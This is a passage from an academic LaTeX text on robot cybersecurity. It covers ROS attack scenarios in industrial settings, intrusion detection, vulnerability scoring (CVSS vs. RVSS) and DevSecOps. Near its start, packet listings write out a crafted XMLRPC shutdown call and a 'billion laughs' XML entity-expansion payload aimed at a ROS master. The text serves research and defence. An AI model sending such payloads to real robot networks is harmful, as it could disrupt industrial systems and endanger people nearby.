Accept_Encoding=b"gzip",
Content_Length=b"227",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.1",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"shutdown",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>4L145_R080T1C5</string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
\end{lstlisting}
\subsection{The {ROS}\xspace data layer graph}
Below the computational graph sits the data layer graph, which includes lower-layer protocols. Various security issues affect the {ROS}\xspace data layer graph~\citep{mayoral2020can}, including TCP's SYN-ACK DoS flooding or FIN-ACK flood attacks. These and many more attacks can easily be implemented using simple constructs that make use of \ref{lst:tcpros_dissector}. As an additional example, listing \ref{lst:xxe} presents an XML External Entity attack (codenamed as the Billion Laughs attack) that leverages flaws in the underlying XMLRPC protocol. This flaw was reported as part of a technical report first~\citep{sicherheitsuntersuchungrobot} and applies to {ROS}\xspace Indigo distro and previous ones.
\lstset{caption={A package that crafts the billion laughs attack exploiting a vulnerability in the XMLRPC underlying protocol.}}
\lstset{label={lst:xxe}}
\begin{lstlisting}
package_xxe = (
IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
/ TCP(
sport=20000,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
Accept_Encoding=b"gzip",
Content_Length=b"227",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.0",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?><!DOCTYPE string [<!ENTITY a0 'dos' ><!ENTITY a1 '&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;'><!ENTITY a2 '&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;'><!ENTITY a3 '&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;'><!ENTITY a4 '&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;'><!ENTITY a5 '&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;'><!ENTITY a6 '&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;'><!ENTITY a7 '&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;'><!ENTITY a8 '&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;'> ]>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"getParam",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rosparam-924sdasds18</string></value>\n</param>\n<param>\n<value><string>/rosdistro &a8; </string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
)
)
\end{lstlisting}
\subsection{Intrusion and Anomaly Detection}
As with any networked or distributed systems, intrusion and anomaly detection is one of the standard tools for security precautions \citep{fung2010bayesian,fung2016facid,fung2011smurfen}. Many applications in robotics commonly follow deterministic patterns of information flows, communications, and motions (e.g., when robots are designed and assembled in a standardized way), although exceptions may exist. When the robot is programmed to automate repetitive mechanical tasks, collected data, including sensor information, moves, and locations, can be accurately predicted by internal models. The data can be naturally used for the detection of anomalies upon every ``significant?? deviation from the expected, i.e., programmed, behaviors.
One aspect to take into account when designing Intrusion Detection Systems ({IDS}) for robots is the fragmented way of the design process. Robot manufacturers often implement their wire-level protocol, with its meta-fields and payloads which make it difficult to adapt traditional (general purpose) {IDS} to robotics. For {IDS} mechanisms to be effective, they need to account for the particularities of robot protocols and extend their logic with appropriate package dissectors\footnote{Note that we have introduced in Section 3 a dissector for {ROS}\xspace, which uses a particular communication middleware assumed over Ethernet networks.}. To this end, there is a need to complement conventional {IDS} and run customized {IDS} in parallel, either as network-based, host-based, or hybrid implementation, using black- or whitelisting of patterns in the network traffic or log files, and event correlation to detect attacks.
The whole spectrum of detection technologies for general cyber-physical systems applies to robots \citep{skopik_synergy_2020}. The automated analysis of log files is of particular relevance for robotics when it comes to matters of \emph{accountability} \citep{ApplicationSecROS,kosta_trust_2019} in forensic investigations after accidents or observed misbehavior of a robot. Finally, the attempts to poison training or input data to {AI} decision support components, such as outlined in Section \ref{sec:ai-enabled-robotics}, are likewise nothing but anomalies or intrusion attempts, and {IDS} can help detect them before they cause any harm. However, it is generally advisable to consider any such precautions as an auxiliary security measure. Developers and users cannot completely rely on {IDS} for security. Instead, we need to design proactive and strategic defense mechanisms for further protections, which will be discussed in Section \ref{sec:game-theory-intro}.
\section{Security for Industrial Multi-Agent Robotic Systems}
\label{section:multiagent-industrial-robots}
\begin{figure*}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/esquema.png}}%
\centering
\caption{
\footnotesize \textbf{Use case architecture diagram}. The synthetic scenario presents a network segmented in 5 levels with segregation implemented following recommendations in NIST SP 800-82 and IEC 62443 family of standards. There are 6 identical robots from Universal Robots presenting a variety of networking setups and security measures, each connected to their controller. $\hat{S_n}$ and $\hat{C_n}$ denote security hardened versions of an $n$ control station or controller respectively.
}
\label{fig:networking_multi_agent_architecture}
\end{figure*}
Robotic systems in industry are generally composed by multiple robot endpoints interconnected and coordinated. Accordingly, on top of intra-robot network security issues described in the previous sub-section another dimension arises, inter-robot network security. Figure \ref{fig:networking_multi_agent_architecture} presents one such synthetic industrial scenario~\citep{mayoral2020can} to study the interactions between different robots and the insecurities arising from them. The scenario presents an assembly line operated by {ROS}\xspace-powered robots while following industrial guidelines on setup and security. The industrial layout is built following NIST Special Publication 800-82 Guide to {ICS} Security~\citep{stouffer2011guide} as well as some parts of ISA/IEC 62443 family of norms~\citep{IEC62443}. Each robot is connected to a Linux-based control station that runs the {ROS}\xspace-Industrial drivers using its corresponding network segment. Control stations are interconnected and hardened by following the guidelines described in a technical report~\citep{redteamingrosindustrial_whitepaper}. To simplify, for the majority of the cases we assume that the controller is connected to a dedicated Linux-based control station that runs {ROS}\xspace Melodic Morenia distribution and the corresponding {ROS}\xspace-Industrial driver. For those cases that do not follow the previous guideline, the robot controller operates independent from the {ROS}\xspace network (e.g. robots $R_3$ and $R_6$) but still shares the same network segment, being connected to control stations $\hat{S_1}$, $\hat{S_2}$, $\hat{S_4}$ and $\hat{S_5}$.
The following subsections describe several security issues on the industrial multi-agent robotic setup of Figure \ref{fig:networking_multi_agent_architecture}.
\subsection{$A_1$: Targeting {ROS}\xspace-Industrial and {ROS}\xspace core packages from adjacent networks}
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/Attack-1.png}}%
\centering
\caption{\textbf{Diagram depicting an attack targeting {ROS}\xspace-Industrial and {ROS}\xspace core packages}. The attacker exploits a vulnerability present in a {ROS}\xspace package running in $\hat{S_7}$ (actionlib). Since $\hat{S_7}$ is acting as the {ROS}\xspace Master, segregation does not impose restrictions on it and it is thereby used to access other machines in the {OT}-level to send control commands.}
\label{fig:networking_multi_agent_attack1}
\end{figure}
To reason about this attack, we adopt the position of an attacker with access and privileges in a development machine $D_1$ in the {IT} side of the scenario, \textbf{Level 4}. Reaching such machine is beyond the scope of this particular study but generally consists of an attacker using either a Wide Area Network (WAN) (such as the Internet) or a physical entry-point to exploit an existing vulnerability in the development machine $D_1$ and obtain a certain amount of privileges (\textbf{step 1} of the attack diagram of Figure \ref{fig:networking_multi_agent_attack1}). Further to that, a privilege escalation will be performed by the exploitation of additionally vulnerable services, which allows the attacker to eventually gain privileges into $D_1$ and command it as desired (\textbf{step 2}). From $D_1$, an attacker would pivot into \textbf{Level 3} by exploiting a vulnerability or misconfiguration (or a combination of both~\citep{mayoral2020can}) in the {ROS}\xspace core and/or {ROS}\xspace-Industrial packages (\textbf{step 3}). Having gained control of the Central Control Station $S_7$ the attacker could decide to establish a reverse channel of communications directly --avoiding the developer station-- (\textbf{step 4}) or proceed to control {OT} (\textbf{Level 2 and below}) by sending commands via the {ROS}\xspace computational graph (\textbf{step 5}).\\
\subsection{$A_2$: Targeting underlying network protocols}
Another approach to attacking multi-agent robotic systems consists of targeting underlying network protocols interconnecting the different robot endpoints. This possibility is depicted in Figure \ref{fig:networking_multi_agent_attack2}.
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/Attack-2.png}}%
\centering
\caption{\textbf{Architecture diagram depicting attacks to {ROS}\xspace via underlying network protocols}. Depicts two offensive actions performed as part of $A_2$. The SYN-ACK DoS flooding does not affect $\hat{S_7}$ due to hardening. In green, a previously established ROSTCP communication between $\hat{S_4}$ and $\hat{S_7}$. In red, the FIN-ACK attack which successfully disrupts the network interaction leveraging flaws in underlying network protocols.}
\label{fig:networking_multi_agent_attack2}
\end{figure}
As pointed out previously, {ROS}\xspace-Industrial software builds on top of {ROS}\xspace packages which also build on top of traditional networking protocols at OSI layers 3 and 4. It's not uncommon to find {ROS}\xspace deployments using IP/TCP in the Network and Transport levels of the communication stack. The attack demonstrated in Figure \ref{fig:networking_multi_agent_attack2} consists of a malicious attacker with privileged access to an internal {ROS}\xspace-enabled control station (e.g. $S_1$) disrupting the {ROS}\xspace-Industrial communications and interactions of other participants of the network. The attack leverages the lack of authentication in the {ROS}\xspace computational graph previously reported in other vulnerabilities of {ROS}\xspace such as \href{https://github.com/aliasrobotics/RVD/issues/87}{RVD\#87} or \href{https://github.com/aliasrobotics/RVD/issues/88}{RVD\#88}. Without necessarily having to take control of the {ROS}\xspace computational graph, by simply spoofing another participant's credentials (at the network level) and either disturbing or flooding communications within infrastructure's \textbf{Level 2} (Process Network), researchers were able to demonstrate how to heavily impact the {ROS}\xspace and {ROS}\xspace-Industrial operation.
\subsection{$A_3$: Targeting a Control Station through a {PitM} attack}
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/Attack-3.png}}%
\centering
\caption{\textbf{Use case architecture diagram with a {PitM} attack}: the attackers infiltrate a machine (\textbf{step 1}) which is then used to perform ARP poisoning (\textbf{step 2}) and get attackers inserted in the information stream (\textbf{step 3}). From there, attackers could replay content or modify it as desired.
}
\label{fig:networking_multi_agent_attack3}
\end{figure}
A {PitM} attack targeting a control station (e.g. $\hat{S_2}$) consists of an adversary gaining access to the network flow of information and sitting in the middle, interfering with communications between the original publisher and subscriber as desired. Figure \ref{fig:networking_multi_agent_attack3} depicts how {PitM} demands to conflict not just with the resolution and addressing mechanisms but also to hijack the control protocol being manipulated (ROSTCP in this particular scenario). The attack gets initiated by a malicious actor gaining access and control of a machine in the network (\textbf{Step 1}). Then, using the compromised computer on the control network, the attacker poisons the {ARP} tables on the target host ($\hat{S_7}$) and informs its target that it must route all its traffic through a specific IP and hardware address (\textbf{Step 2}, i.e., the attackers' owned machine). By manipulating the {ARP} tables, the attacker can insert themselves between $\hat{S_7}$ and $\hat{S_2}$\footnote{The attack described in here is a specific {PitM} variant known as {ARP} {PitM}.} (\textbf{Step 3}). When a successful {PitM} attack is performed, the hosts on each side of the attack are unaware that their network data is taking a different route through the adversary's computer. \\
\newline
Once an adversary has successfully inserted their machine into the information stream, they then have full control over the data communications and could carry out several types of attacks. Figure \ref{fig:networking_multi_agent_attack3} shows one possible attack realization method which is the replay attack (\textbf{Step 4}). In its simplest form, captured data from $\hat{S_7}$ is replayed or modified and replayed. During this replay attack, the adversary could continue to send commands to the controller and/or field devices to cause an undesirable event while the operator is unaware of the true state of the system.
\subsection{$A_4$: Targeting a vulnerable robot endpoint to compromise the network}
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.3\textwidth]{figures/attack4.png}}%
\centering
\caption{\textbf{Use case architecture diagram with an insider threat}: In orange, we illustrate a failed attack over a Universal Robots controller hardened with the Robot Immune System (RIS). In red, a successful unrestrained code execution attack over a Universal Robots controller with the default setup and configuration allows us to pivot and achieve both $G_1$ and $G_2$.
}
\label{fig:networking_multi_agent_attack4}
\end{figure}
One of the interesting observations made by \cite{mayoral2020can} is that often, robot endpoints are considered as part of the critical path of production and manufacturing processes. Correspondingly, unless there's a functional issue and production stops, robots are rarely \emph{modified} or updated (their firmware). This leads to (robot) connected endpoints that are easy to target and from where an attacker could pivot into the industrial networks. Figure \ref{fig:networking_multi_agent_attack4} depicts one of such scenarios where Mayoral-Vilches et al. attempted first to compromise $\hat{C_6}$ (failed) and then $C_3$ using previously reported and known (yet unresolved) zero-day vulnerabilities in the Universal Robots CB3.1 controller. Examples of such zero-days include \href{https://github.com/aliasrobotics/RVD/issues/1413}{RVD\#1413 }(CVE-2016-6210), \href{https://github.com/aliasrobotics/RVD/issues/1410}{RVD\#1410} (CVE-2016-6515), \href{https://github.com/aliasrobotics/RVD/issues/673}{RVD\#673} (CVE-2018-10635) or
\href{https://github.com/aliasrobotics/RVD/issues/1408}{RVD\#1408} (CVE-2019-19626) among others. Due to the lack of concerns for security from manufacturers like Universal Robots, these end-points can easily become rogue and serve as an entry point for malicious actors. \cite{mayoral2020can} successfully prototyped a simplified attack using \href{https://github.com/aliasrobotics/RVD/issues/1495}{RVD\#1495} (CVE-2020-10290) and taking control over $C_3$. From that point on, they demonstrated how one could access not just {ROS}\xspace network but also the underlying network, pivot (\textsc{$A_1$}), disrupt (\textsc{$A_2$}) or {PitM} (\textsc{$A_3$}) as desired. Such vulnerabilities are useable to define game-theoretic defenses as they set the action spaces for the attacker as a player in the game (see Section \ref{sec:game-theory-definitions}) and can determine the playground, as in Section \ref{sec:cut-the-rope}.
\chapter{Security Practice and Design}\label{sec:advanced-security-design}
An obvious proposal towards hardening the security is always the adoption of stronger cryptographic algorithms, such as quantum computer resistant schemes \citep{buchmann_post-quantum_2008}, called \emph{post-quantum cryptography}. It is fair to note that such schemes do not per se require quantum computing, but are rather based on (quite classical) calculations that are believed to remain intractable to solve even on quantum computers. The most prominent insecure problems on which public-key cryptography can be based are factorization or discrete logarithms, both of which are tractable by quantum computing using the algorithms of \cite{shor_polynomial-time_1996}. Reports on the integration and feasibility studies of post-quantum cryptographic schemes are provided by \cite{varma_post_2020}, and found the computational overhead to be comparable, yet partly even outperforming some more traditional security protocols on OSI layer three. The perhaps more interesting application of quantum computing is herein for enhanced capabilities of the robot perception, reasoning, and general functionality, as has been studied by \cite{petschnigg_quantum_2019}, with a diverse and rich discussion about quantum computing capabilities for future robotic systems.
\section{Penetration Testing}\label{sec:pen-testing}
Returning to Section \ref{sec:defense-attack-examples} and the specific examples therein (see Figures \ref{fig:stealth-publisher-attack}, \ref{fig:malicious-param-attack}, and \ref{fig:service-isolation-attack}), filling the roles of each player (master, slave, publisher, subscriber, etc.) is doable by tools like \texttt{ROSPenTo} \citep{joanneum_robotics_jr-roboticsrospento_2020} or \texttt{Roschaos} \citep{white_ruffslroschaos_2018}. Both have different primary abilities to either conduct precise manipulations on a small scale (\texttt{ROSPenTo}) or destroy the network with large force {API} (\texttt{Roschaos}). Both tools come with command line interfaces allowing to \emph{script} attacks along the sequence diagrams as above, or more generally ones. The three example attacks mentioned above are described by \cite{koubaa_penetration_2020} with full call sequences in these two tools.
A useful auxiliary tool is \texttt{roswtf} \citep{open_robotics_roswtf_2020}, which can be run to identify a set of attack patterns, and bring up vulnerabilities in {ROS}\xspace nodes that need fixing. This is a special case of the more general procedure of vulnerability scanning, covered next.
\section{Vulnerability Scanning}\label{sec:tvs}
Broadening the view, methods from network security naturally apply in robotics, as we also have distributed systems with many components talking to each other. In turn, a {TVA} identifies weaknesses of components and scores them according to best practices and standards. Commercial tools like OpenVAS \citep{greenbone_networks_gmbh_openvas_2020} or Nessus \citep{tenable_nessus_2020} systematically search the network, collect information about the components, and query open databases for reported vulnerabilities. From this data, reports are compiled that list potential vulnerability, optionally ranked by severity. A popular ranking in this regard is the {CVSS} \citep{houmb_estimating_2009}, which provides a score between 0 and 10, with 10 being critical and 0 signifying irrelevance. However, as of version 3.0 of {CVSS}, it has been found to not satisfactorily cover the particularities of robotic systems, particularly matters of \emph{safety}. In a nutshell, {CVSS} considers a categorical rating in a set of metrics, each with its individual scale of values, and each category contributing individually to the overall severity score. Below, we briefly outline the metrics, but refer the interested reader to the respective specifications for details, as we leave it up to the self-explanatory nature of the metric at this point, and since the numerical computations of a score from the categories are only of secondary interest here. Our point is that this popular scoring scheme lacks specific metrics of relevance in the robotics context.
{CVSS} rates a vulnerability in three dimensions, each of which compiles a score from different ingredients. The scoring, as a process, starts with a categorization of various properties of the system and an exploit. These include (but are not limited to) the level of priveledges required, kind of access (network only, or physical, etc.), and many more. We shall keep the details in the following at a level high enough to exemplify the deficiencies of {CVSS} to apply for robotic systems, but nonetheless pointing out the general method of systematizing the vulnerability judgment is indispensable for a comprehensive security design, and to construct the defense game structure and playground (see Chapter \ref{sec:game-theory-intro}).
The {CVSS} score dimensions with determining factors are the following triple, with the respective metrics as they appear in {CVSS} \textit{named italicized}:
\begin{enumerate}
\item Base score: this score distinguishes aspects of exploitability and impact, both of which are rated individually:
\begin{itemize}
\item \textit{Exploitation} is judged from the context by which vulnerability exploitation is possible (\textit{attack vector} (AV)), conditions beyond the attacker’s control that must exist to exploit the vulnerability (\textit{attack complexity} (AC)), level of privileges an attacker must possess before successfully exploiting the vulnerability (\textit{priviledges required} (PR)), requirements for a user, other than the attacker, to participate in the successful compromise of the vulnerable component (\textit{user interaction} (UI)), and the ability for a vulnerability in one software component to impact resources beyond its means, or privilege (\textit{scope} (S)).
\item \textit{Impact} covers the classical \textit{confidentiality}, \textit{integrity} and \textit{availability} goals. Please note that here, like in many related standards, authenticity is not in the primary focus, substantiating our exposition above on the use of cryptographic certificates in this respect, and pointing out that authenticity and access control cannot be considered as covered by using vulnerability scanners or the {CVSS} methodology.
\end{itemize}
\item Temporal score: this one measures the likelihood of the vulnerability being attacked, based on the current state of exploit techniques (Exploit Code Maturity (E)). It further depends on the remediation state of a vulnerability (the less official and permanent fix, the higher the vulnerability scores on the \textit{remediation level} (RL)), and on the degree of confidence in the existence of the vulnerability and the credibility of the known technical details (\textit{report confidence} (RE)).
\item Environmental score: like the base score, this one also distinguishes exploitability and impact, and to this end considers the same ingredients as the base score, only prefixing them as ``modified'' in all cases, i.e., the scores are the ``modified-'' versions of AV, AC, PR, UI and S, in turn called MAV, MAC, MPR, MUI and MS for the exploitation, and MC, MI, and MA for the impact. In both cases, they shall enable the analyst to adjust the base metrics according to modifications that exist within the analyst's environment.
\end{enumerate}
All these variables appearing in upper-case letters above can take values on their own individual categorical scales, which the {CVSS} method then translates into numbers, and compiles the scores with given formulae. Overall, the result is a three-dimensional numeric vector $(B,T,E)\in [0,10]^3$ to describe a vulnerability. It turns out, however, that this classification can miss out on vulnerabilities in the robot context.
Accordingly, \cite{vilches_towards_2019} have designed the {RVSS} as an extension over {CVSS}, whose changes we summarize below for brevity, since {RVSS} inherits all metrics from {CVSS}, only with a few but important refinements. Their effect will later be illustrated by a comparative example showing how {CVSS} and {RVSS} rate vulnerabilities different:
\begin{itemize}
\item {CVSS} speaks about the context by which vulnerability exploitation is possible as the attack vector (AV), taking categorical values in $\{$Network (N), Adjacent Network (A), Local (L), Physical (P)$\}$. {RVSS} adopts a more refined view here by dividing the category N into subcategories being \emph{remote network} (RN), and \emph{adjacent network} (AN), and internal network, as well as distinguishing physical access into \emph{public} ,\emph{restricted} or \emph{isolated}. In turn, each of these categories receives its own score and needs distinction to accurately capture a robotic system.
\item {RVSS} adds a few new metrics to the base, temporal and environmental scores, related to age and safety aspects; in detail, the additional metrics are
\begin{itemize}
\item Age (Y), measuring the timespan since the vulnerability was first reported (in years), with categories being Zero Day (Z), $<$ 1 year (O), $<$ 3 years (T), $\geq 3$ years (M), and Unknown (U).
\item Modified Age (MY), so that the analyst can adjust the base metrics according to modifications that exist within the analyst’s environment.
\item Safety (H), which measures potential physical hazards on humans or the environment. Categorical possible values are Unknown (U), None (N), Environmental (E), and Human (HU).
\item Modified Safety (MH), to enable the analyst to customize score depending on the importance of this aspect
\item Safety Requirement (HR), which the analyst can use to adjust the base metrics according to modifications that exist within the analyst’s environment.
\end{itemize}
\end{itemize}
\cite{vilches_towards_2019} corroborates this proposal by providing a comparison of {CVSS} and {RVSS} metrics, based on vulnerabilities identified in real-life robot system implementations. Table \ref{tbl:rvss-cvss-comparison} gives an overview of the results, where it is particularly interesting to note that the last example would come with an overall zero score in {CVSS}, while {RVSS} does indicate at least medium severity.
\begin{table}[hb!]
\centering
\begin{tabular}{|p{0.45\textwidth}|c|c|}
\hline
Vulnerability description & RVSS & CVSSv3\tabularnewline
\hline
\hline
Missing authorization mechanisms in a protocol allows remote attackers
to gain unauthorized control the robots via network communication & (7.7, 7.7, 7.7) & (9.1, 9.1, 9.1)\tabularnewline
\hline
An attacker on an adjacent network could perform command injection & (10, 10, 10) & (8.8, 8.8, 8.8)\tabularnewline
\hline
An stack-based buffer overflow in a TCP service could allow remote
attackers to execute arbitrary code and alter protected settings via
specially crafted packets & (10, 10, 10) & (10, 10, 10)\tabularnewline
\hline
Exemplary vulnerability in {ROS}\xspace 2.0 communication middleware: Launching
on arm64 with FastRTPS with fat archive from 2018-06-21 never quits & (5.9, 5.9, 5.9) & (0, 0, 0)\tabularnewline
\hline
\end{tabular}
\caption{Comparison of {RVSS} and {CVSS} \citep{vilches_towards_2019}}\label{tbl:rvss-cvss-comparison}
\end{table}
\section{DevSecOps}
Software quality in robotics is often understood as \emph{execution according to design purpose} whereas security is perceived as \emph{the robot will not put data or computing systems at risk of unauthorized access}~\citep{mayoral2020devsecops}. In this section, we introduce DevSecOps in the context of robotics, a set of best practices designed to help roboticists implant security deep in the heart of their development and operations processes.
The compound word ``DevOps'' is a join between development and {IT} operations, and today describes an agile {IT} operations service delivery, understood not as a framework, method or body of knowledge, but rather as a ``working philosophy'' seeking to unify cultures, practices, and tools related to development and operation. In other words, knowing that people from the development area have a different attitude and working style compared to people from {IT} operations, DevOps is the aim of bridging these differences. Robotics maybe offers a particularly complex gap to bridge in this regard, especially when it comes to security, since it demands collaboration between people from software development, computer hardware design, mechanical engineering, and other disciplines. Adding security on top is yet its own challenge, since the awareness about potential threats may largely differ between people from these areas. For example, people specialized in software engineering rarely need to consider physical damage caused to people, as their primary concern is about processing (and maybe protection) of data. Similarly, mechanical engineers rarely need to worry about data confidentiality matters. In robotics, we find an interesting divergence in the understanding of the terms \emph{safety} and \emph{security}, and it is worthwhile bearing in mind both ``definitions'' when people join forces to develop robots:
\begin{figure}[!h]
\begin{itemize}
\item system security context: safety $=$ protection against unintended attacks (i.e., by nature), vs. security $=$ protection against intentional attacks (e.g., by hackers).
\item robot context: safety $=$ prevention of any harm that the robot could do, vs. security $=$ prevention of any damage to the robot itself.
\end{itemize}
\end{figure}
DevOps can be decomposed in two alternatingly connected cycles of development and operation phases, as shown in Figure \ref{fig:devops}. The idea of DevSecOps is adding an optional branch back into the Dev- or the Ops-cycle to ``break'' the alternation pattern if necessary.
The individual phases have their own software aids and organizational procedures, and the challenge of DevOps is to get these under a common denominator of collaboration. Still, the duties in each phase are separable:
\begin{itemize}
\item \emph{code}: this summarizes the writing, review, versioning, documentation, merge, and all other aspects of code authoring.
\item \emph{build}: this includes all matters of compilation, ranging from a plain compilation of source files, until the application of modern build tools (e.g., Ant, Maven, etc.).
\item \emph{test}: besides running pre-defined use-cases, unit tests and the automated generation of test cases is part of this phase, as well as tests with users, including usability evaluations. Specifically, usability needs a distinction based on the ``customer'' of the component, which may be the end-user who buys the final product and gets to see only its official user interface, or whether it is a team colleague coming later in the DevOps cycle and itself concerned with software development, integration, testing, deployment, or other phases inside DevOps.
\item \emph{configure} is the phase of putting the system into an initial configuration for deployment. For security, this means (among others) to set initial access credentials with enforced change upon first (one-time) use, defining a startup procedure, etc.
\item \emph{deployment} is the process of wrapping everything up for an installation in a productive environment. This entails a preparatory phase to package not only executable files, but also resources on which these depend, up to including platforms (operating systems, virtual machines), etc, as well as the actual installation at the customers' premises or in a testing environment.
\item \emph{monitoring} is the continuous surveillance of system performance indicators, but also the collection of data related to economic aspects (business case) and the collection of customer feedback (tickets, etc.).
\item \emph{analyze} compiles the results from the monitoring for different purposes, among them predictive analytics (of the system performance, but also for an early warning about security incidents, e.g., intrusion detection), for the general purpose of identifying the potential for improvement.
\item \emph{planning} takes all information collected from the operational (Ops) phases and reconsiders the current system design accordingly. With security as an additional explicit focus, this feedback includes risk analysis and evaluation results (from ISO31000 processes or similar).
\end{itemize}
DevOps aims at a continuous evaluation of the system's design in the Dev phase, or its operation in the Ops cycle. Figure \ref{fig:devsecops} illustrates this by the two arrows as return directions into the respective cycles. Both correspond to an instance of the well-known Plan-Do-Check-Act cycle of risk management standards like ISO31000. Advanced software engineering may explicitly establish the ISO {PDCA} cycle (plan-do-check-act) within the Dev and the Ops cycle. Specifically, this means an explicit account of security matters during the respective phases, in particular including (but not limited to):
\begin{itemize}
\item Zoning: delineation of areas whose security requirements differ; for example, parts of the system to which access is highly sensitive, as opposed to other parts of a system that may be more open to public access. This also includes a logic division into components that undergo different maintenance procedures (like updates), where zoning -- for security -- means the consideration of side-effects and security implications when a component becomes replaced or updated, or implemented with redundancy (for availability). Typical tools in this regard include containerization (e.g., Docker) or general virtualization technology.
\item Compliance and attestation: throughout the design but also the operational phases, processes need documentation, with a continuous focus on compliance for periodic or continuous risk assessments. ISO 31000 is one framework to formalize the documentation and processes to this end.
\item Logging, monitoring, and database management: likewise as for the certification, all activity in the system needs monitoring and logging for forensic purposes, root cause analyses for error tracking, and also as part of compliance certification (see the previous item).
\item Authentication and authorization, implemented by techniques of access control and identity management. Authenticity herein refers to subjects and needs distinction from the authenticity of data, which is a separate duty (discussed next). Subjects herein include not only people but also components, for which a proof of authenticity is usually called \emph{attestation} (see above).
\item Data security, meaning confidentiality (by encryption), availability (by redundancy), integrity (by cryptographic hash sums), and authenticity (by digital certificates). Further goals can include non-repudiation (using proper logging and access control), and general data quality management \citep{cichy_overview_2019}. Most importantly, the management of keys (for symmetric as well as public-key cryptography) is explicitly included here, spanning the entire lifecycle of keys from generation, distribution, use, update, revocation, escrow, archiving, recovery, and secure destruction of cryptographic keys and general access credentials.
\item Network security, including the ``standard techniques'' like firewalls, network segmentation, etc., but also more advanced security models like black clouds, a.k.a., software-defined perimeters.
\end{itemize}
Integrating the {PDCA} cycle into the DevOps cycle is a matter of linking the respective phases to one another, such as possibly in the following way:
\begin{table}[h!]
\centering
\begin{tabular}{|c|c|}
\hline
{PDCA} phase & DevSecOps phase \\
\hline
plan & plan, test, monitor and analyze \\
\hline
do & plan, code, build and test \\
\hline
check & configure, test, monitor and analyze \\
\hline
act & code, build, test, configure and deploy \\
\hline
\end{tabular}
\end{table}
The correspondence is showing overlaps, meaning that the planning phase in ISO risk management has an apparent link to the planning phase in DevOps, but the two having different aims: while ``plan'' in DevOps relates to the system design, in particular, the phase with the same name in risk management prescribes to include risk mitigation controls in the system. Naturally, this should go into the planning for the development, but not exclusively, as input from the testing, monitoring, and analysis phases can be relevant and useful for risk management as well. The correspondence above shall be understood as explicitly bi-directional, meaning that risk management phases draw inputs from DevOps phases, and DevOps phases need to draw input from the risk management phases vice versa.
The approach of planning first, then implementing the plan (do), followed by monitoring how well the plan meets expectations (check), and working on improvements based on lessons learned (act) within the DevOps cycle (see Figure \ref{fig:devsecops}). Alluding more to security, we can consider \emph{structural improvements} to the system as running through a {PDCA} cycle in the development, and (in parallel) \emph{operational improvements} by running the system in the best possible way. Game theory can help with both regards in several ways:
\begin{itemize}
\item for structural, i.e., design, choices, we can set up games to define the best resource investment related to security. For instance, there are game models to determine where to place honeypots \citep{la_game_2016,boumkheld_honeypot_2019} in networks. Different in concept is the application of games to quantify the security of components; for example, the question of how to run a distributed ledger, say, for secure logging, with quantifiable and guaranteed security. This has been studied by \cite{bushnell_towards_2018}, for example. A third notable application regards adversarial artificial intelligence, where robust optimization \citep{vorobeychik_adversarial_2018} is applied, assuming a rational adversary trying to trick a machine learning system from its intended into a dysfunctional behavior.
\item for operational security, moving target defense is a matter of changing configurations (e.g., access credentials \citep{rass_password_2018}, etc.), or randomization of transmissions (as studied by \cite{rass_secure_2015}), or even hardware design using randomization of register use (usually a precaution to prevent remote code execution by buffer overflows, known as address space layout randomization).
\end{itemize}
Some illustrative selected examples will follow in Sections \ref{sec:cut-the-rope} and \ref{sec:example-games}.
\begin{figure}
\centering
\subfloat[DevOps as alternation between development and operational phases]{\includegraphics[width=0.9\textwidth]{figures/DevOps.pdf}\label{fig:devops}}\\
\subfloat[DevSecOps by integration of (two) {PDCA} cycles]{\includegraphics[width=0.9\textwidth]{figures/DevSecOps.pdf}\label{fig:devsecops}}
\end{figure}
\section{Relevant International Standards}\label{sec:standards}
